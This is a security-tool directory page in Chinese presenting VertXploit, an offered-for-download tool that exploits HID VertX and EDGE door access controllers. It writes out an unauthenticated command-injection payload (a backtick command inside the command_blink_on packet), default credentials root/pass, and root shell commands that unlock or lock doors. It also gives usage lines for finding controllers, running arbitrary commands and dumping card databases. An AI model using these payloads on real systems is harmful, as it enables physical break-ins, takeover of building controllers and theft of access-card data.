Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
VertXploit — 利用 HID VertX 和 EDGE 门禁控制系统 | Kitploit
工具/GitHubGitHub/coldfusion39/vertxploit
网络映射漏洞分析漏洞利用信息收集后渗透利用硬件与物联网安全
GitHubcoldfusion39/vertxploit

VertXploit

利用 HID VertX 和 EDGE 门禁控制系统

查看仓库
25109年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

VertXploit

利用 HID VertX 和 EDGE 门禁控制系统

摘要

VertXploit 是一款可用于利用 HID VertX 和 EDGE 门禁控制系统的工具。

discoveryd 服务中存在一个漏洞,该服务在执行系统调用前未能对用户数据进行过滤。这允许在无需身份验证的情况下,在 HID VertX 和 EDGE 门禁控制系统上执行任意代码。有关更多信息,请参阅命令注入部分。

VertXploit 可以解锁或锁定连接到门禁控制系统的门,下载包含所有已配置/缓存门禁卡信息的数据库,并且如果 VertX 系统存在漏洞,还可以以 root 身份执行任意命令。

如果 VertX 控制器的固件最近已更新,vertXploit 将尝试通过 Web 控制台使用默认或用户提供的用户名和密码来解锁或锁定门。

环境要求

运行 pip install -r requirements.txt 以安装所需的 Python 模块。

  • python-nmap
  • requests
  • tabulate

VertXploit 使用方法

运行 ./vertXploit.py -h 显示帮助菜单,或运行 ./vertXploit.py ACTION -h 显示特定操作的帮助。

发现 (Discover)

仅使用 discover 操作参数运行 vertXploit,即可发现本地广播网络上的所有 HID 门禁控制系统。如果通过可选的 --ip IP 参数提供了 IP 地址,vertXploit 将使用 python-nmap 扫描该 /24 网段中开放了 4050 端口的主机。随后 VertXploit 会向识别出的 IP 地址发送一个发现 UDP 数据包,以判断该系统是否为 HID 门禁控制面板。

示例:

./vertXploit.py discover

./vertXploit.py discover --ip 10.1.10.5

指纹识别 (Fingerprint)

一旦发现控制器,使用 fingerprint 操作参数并指定门禁控制器的 IP 地址运行 vertXploit,即可返回有关该门禁控制面板的详细信息。

示例:

./vertXploit.py fingerprint 10.1.10.5

解锁/锁定 (Unlock/Lock)

为了解锁或锁定连接到门禁控制面板的门,使用 unlock 或 lock 操作参数并指定控制器 IP 地址运行 vertXploit。如果控制器不易受命令注入漏洞影响,vertXploit 将尝试通过 Web 控制台解锁或锁定门。此方法使用默认用户名 'root' 和默认密码 'pass',或者您可以通过 --username USERNAME 和 --password PASSWORD 参数提供自己的凭据。

示例:

./vertXploit.py unlock 10.1.10.5

./vertXploit.py unlock 10.1.10.5 --username test --password test

原始命令 (Raw)

通过使用 raw 操作参数并指定控制器的 IP 地址,可以在门禁控制系统上执行任意 Linux 命令。如果该命令未安装在控制器上,则可能执行失败(Python、Perl、Ruby 等)。作为一个简单的概念验证,原生的 Linux 'ping' 命令似乎在所有测试过的 VertX 和 EDGE 型号上都能正常工作。

示例:

./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'

下载 (Download)

要下载控制器的卡片数据库,请使用 download 操作参数并指定控制器的 IP 地址运行 vertXploit。控制器 必须 存在命令注入漏洞,并且您 必须 能够访问控制器的 Web 界面才能下载这两个卡片数据库。Web 身份验证使用默认用户名 'root' 和默认密码 'pass',或者您可以通过 --username USERNAME 和 --password PASSWORD 参数提供自己的凭据。

示例:

./vertXploit.py download 10.1.10.5

./vertXploit.py download 10.1.10.5 --username test --password test

导出 (Dump)

从控制器下载 'IdentDB' 和 'AccessDB' 数据库后,使用 dump 操作参数来导出数据库的内容。您还可以通过 --path PATH 参数指定数据库的本地文件路径。

示例:

./vertXploit.py dump

./vertXploit.py dump --path /root/VertX/DBs/

命令注入

通常,多个 VertX 或 EDGE 门禁控制器会安装并放置在一起。可以向特定控制器发送诊断命令 command_blink_on,该命令会使面板的物理 "Comm" LED 指示灯闪烁,以便进行视觉识别。此命令通常以 LED 应闪烁的次数结尾,在以下示例中为 30 次。

command_blink_on;044;00:11:22:33:44:55;30;

通过将闪烁次数替换为用反引号括起来的 Linux 命令,该命令将以 root 身份在门禁控制器上执行。

command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;

为了远程解锁和锁定连接到门禁控制系统的门,命令会被回显到 /tmp/a。这样做是因为发送到控制器的命令长度限制为 41 个字符(不包括两个反引号)。注意:此处使用 echo 而不是 printf,因为一些较旧的 VertX 控制器运行的是 BusyBox < 1.0.1,该版本不包含 printf。

通过运行 tr -d '\n' < /tmp/a > /tmp/b 来移除回显到文件中的命令换行符,并通过运行 tr '!' '\n' < /tmp/b > /tmp/a 来插入有意的换行符。

然后执行脚本 /tmp/a,并删除这两个文件。以下显示了向 VertX 控制器发送解锁和锁定命令时回显到 /tmp/a 中的命令内容。

解锁

root@kitploit:~
# 将 QUERY_STRING 设置为开门值
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"

# 运行 'diagnostics_execute.cgi' 脚本
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# 移除可执行权限以防止门被锁定
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

锁定

root@kitploit:~
# 启用可执行权限
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# 将 QUERY_STRING 设置为关门值
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"

# 运行 'diagnostics_execute.cgi' 脚本
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

参考资料

  • HeadlessZeke - 命令注入漏洞
  • ZDI - 公开披露
  • TrendMicro 博客 - 关于命令注入漏洞的博客
  • Brad Antoniewicz - 从 VertX 缓存中解析卡号
  • 其他工作 - VertX 发现命令
下载工具